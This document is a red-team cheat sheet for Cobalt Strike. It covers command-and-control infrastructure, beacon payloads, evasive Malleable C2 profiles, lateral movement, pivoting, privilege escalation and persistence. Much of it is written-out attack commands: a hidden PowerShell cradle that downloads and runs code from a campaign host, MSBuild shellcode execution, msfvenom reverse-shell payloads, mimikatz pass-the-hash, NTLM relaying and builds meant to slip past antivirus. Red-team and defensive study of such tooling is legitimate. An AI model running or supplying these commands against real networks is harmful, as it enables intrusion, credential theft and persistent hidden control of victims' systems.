# Cobalt Strike

> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.


```powershell
$ sudo apt-get update
$ sudo apt-get install openjdk-11-jdk
$ sudo apt install proxychains socat
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
$ ./cobaltstrike
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))" 
```

## Summary

* [Infrastructure](#infrastructure)
    * [Redirectors](#redirectors)
    * [Domain fronting](#domain-fronting)
    * [OpSec](#opsec)
* [Payloads](#payloads)
    * [DNS Beacon](#dns-beacon)
    * [SMB Beacon](#smb-beacon)
    * [Metasploit compatibility](#metasploit-compatibility)
    * [Custom Payloads](#custom-payloads)
* [Malleable C2](#malleable-c2)
* [Files](#files)
* [Powershell and .NET](#powershell-and-net)
    * [Powershell commabds](#powershell-commands)
    * [.NET remote execution](#net-remote-execution)
* [Lateral Movement](#lateral-movement)
* [VPN & Pivots](#vpn--pivots)
* [Kits](#kits)
    * [Elevate Kit](#elevate-kit)
    * [Persistence Kit](#persistence-kit)
    * [Resource Kit](#resource-kit)
    * [Artifact Kit](#artifact-kit)
    * [Mimikatz Kit](#mimikatz-kit)
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
* [References](#references)


## Infrastructure

### Redirectors

```powershell
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
```

### Domain Fronting

* New Listener > HTTP Host Header
* Target Finance & Healthcare domains 

### OpSec

**Don't**
* Change default self-signed HTTPS certificate
* Change default port (50050)
* 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`

**Do**
* Use a redirector (Apache, CDN, ...)
* Firewall to only accept HTTP/S from the redirectors
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging `set hosts_stage` to `false` in Malleable C2


## Payload

### DNS Beacon

* Edit the Zone File for the domain
* Create an A record for Cobalt Strike system
* Create an NS record that points to FQDN of your Cobalt Strike system

Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.

* nslookup jibberish.beacon polling.campaigns.domain.com
* nslookup jibberish.beacon campaigns.domain.com

Example of DNS on Digital Ocean:

```powershell
NS  example.com                     directs to 10.10.10.10.            86400
NS  polling.campaigns.example.com   directs to campaigns.example.com.	3600
A	campaigns.example.com           directs to 10.10.10.10	            3600 
```

```powershell
systemctl disable systemd-resolved
systemctl stop systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" >  /etc/resolv.conf
echo "nameserver 8.8.4.4" >>  /etc/resolv.conf
```

Configuration:
1. **host**: campaigns.domain.com
2. **beacon**: polling.campaigns.domain.com
3. Interact with a beacon, and `sleep 0`


### SMB Beacon   

```powershell
link [host] [pipename]
connect [host] [port]
unlink [host] [PID]
jump [exec] [host] [pipe]
```

SMB Beacon uses Named Pipes. You might encounter these error code while running it.

| Error Code | Meaning              | Description                                        |
|------------|----------------------|----------------------------------------------------|
| 2          | File Not Found       | There is no beacon for you to link to              |
| 5          | Access is denied     | Invalid credentials or you don't have permission   |
| 53         | Bad Netpath          | You have no trust relationship with the target system. It may or may not be a beacon there. |


### SSH Beacon

```powershell
# deploy a beacon
beacon> help ssh
Use: ssh [target:port] [user] [pass]
Spawn an SSH client and attempt to login to the specified target

beacon> help ssh-key
Use: ssh [target:port] [user] [/path/to/key.pem]
Spawn an SSH client and attempt to login to the specified target

# beacon's commands
upload                    Upload a file
download                  Download a file
socks                     Start SOCKS4a server to relay traffic
sudo                      Run a command via sudo
rportfwd                  Setup a reverse port forward
shell                     Execute a command via the shell
```

### Metasploit compatibility

* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
* Set LHOST and LPORT to the beacon
* Set DisablePayloadHandler to True
* Set PrependMigrate to True
* exploit -j

### Custom Payloads

https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c

```powershell
* Attacks > Packages > Payload Generator 
* Attacks > Packages > Scripted Web Delivery (S)
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
```

## Malleable C2

* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint

```powershell
set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";

# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";
```

Check a profile with `./c2lint`.

```powershell
#
# Etumbot Profile
#   http://www.arbornetworks.com/asert/2014/06/illuminating-the-etumbot-apt-backdoor/
#
# Author: @harmj0y
#
set sample_name "Etumbot";
set sleeptime "5000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {
    set uri "/image/";
    client {
        header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*l;q=0.8";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";
        metadata {
            netbios;
            append "-.jpg";
            uri-append;
        }
    }

    server {
        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";
        output {
            base64;
            print;
        }
    }
}

http-post {
    set uri "/history/";
    client {
        header "Content-Type" "application/octet-stream";
        header "Referer" "http://www.google.com";
        header "Pragma" "no-cache";
        header "Cache-Control" "no-cache";
        id {
            netbiosu;
            append ".asp";
            uri-append;
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "img/jpg";
        header "Server" "Microsoft-IIS/6.0";
        header "X-Powered-By" "ASP.NET";
        output {
            base64;
            print;
        }
    }
}
```


## Files

```powershell
# List the file on the specified directory
beacon > ls <C:\Path>

# Change into the specified working directory
beacon > cd [directory]

# Delete a file\folder
beacon > rm [file\folder]

# File copy
beacon > cp [src] [dest]

# Download a file from the path on the Beacon host
beacon > download [C:\filePath]

# Lists downloads in progress
beacon > downloads

# Cancel a download currently in progress
beacon > cancel [*file*]

# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
```

## Powershell and .NET

### Powershell commands

```powershell
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]

# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]

# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]

# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]
```

### .NET remote execution

Run a local .NET executable as a Beacon post-exploitation job. 

Require:
* Binaries compiled with the "Any CPU" configuration.

```powershell
beacon > execute-assembly [/path/to/script.exe] [arguments]
beacon > execute-assembly /home/audit/Rubeus.exe
[*] Tasked beacon to run .NET program: Rubeus.exe
[+] host called home, sent: 318507 bytes
[+] received output:

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.4.2 
```

## Lateral Movement

:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe 

- **portscan:** Performs a portscan on a spesific target.
- **runas:** A wrapper of runas.exe, using credentials you can run a command as another user.
- **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \
:exclamation: This module needs Administrator privileges.
- **steal_token:** Steal a token from a specified process.
- **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
- **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \
:exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \
:muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network.
- **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \
:exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target.
- **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts.

:warning: All the commands launch powershell.exe

```powershell
Beacon Remote Exploits
======================
jump [module] [target] [listener] 

    psexec	x86	Use a service to run a Service EXE artifact
    psexec64	x64	Use a service to run a Service EXE artifact
    psexec_psh	x86	Use a service to run a PowerShell one-liner
    winrm	x86	Run a PowerShell script via WinRM
    winrm64	x64	Run a PowerShell script via WinRM

Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command] 

    Methods                         Description
    -------                         -----------
    psexec                          Remote execute via Service Control Manager
    winrm                           Remote execute via WinRM (PowerShell)
    wmi                             Remote execute via WMI (PowerShell)

```

Opsec safe Pass-the-Hash:
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
2. `steal_token PID`

### Assume Control of Artifact

* Use `link` to connect to SMB Beacon
* Use `connect` to connect to TCP Beacon


## VPN & Pivots

:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.

> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.

```powershell
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
beacon > socks [PORT]

# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]

# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]

# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller.    ~=  rportfwd + shspawn.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin

# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
# then you can handle the connect back on your MSF multi handler
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
```

## Kits

* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike

### Elevate Kit

UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)

```powershell
beacon> runasadmin

Beacon Command Elevators
========================

    Exploit                         Description
    -------                         -----------
    ms14-058                        TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
    ms15-051                        Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
    ms16-016                        mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
    svc-exe                         Get SYSTEM via an executable run as a service
    uac-schtasks                    Bypass UAC with schtasks.exe (via SilentCleanup)
    uac-token-duplication           Bypass UAC with Token Duplication
```

### Persistence Kit

* https://github.com/0xthirteen/MoveKit
* https://github.com/fireeye/SharPersist
    ```powershell
    # List persistences
    SharPersist -t schtaskbackdoor -m list
    SharPersist -t startupfolder -m list
    SharPersist -t schtask -m list

    # Add a persistence
    SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
    SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

    SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
    SharPersist -t service -n "Some Service" -m remove

    SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
    SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
    SharPersist -t schtask -n "Some Task" -m remove
    ```

### Resource Kit

> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows

### Artifact Kit

> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.

Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :

- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
- Install the dependencies : `sudo apt-get install mingw-w64`
- Edit the Artifact code
    * Change pipename strings
    * Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
    * Change Import
- Build the Artifact
- Cobalt Strike -> Script Manager > Load .cna

### Mimikatz Kit

* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
* Load the mimikatz.cna aggressor script
* Use mimikatz functions as normal

## NTLM Relaying via Cobalt Strike

```powershell
beacon> socks 1080
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
beacon> rportfwd_local 8445 <IP_KALI> 445
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445
```

## References

* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE – UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)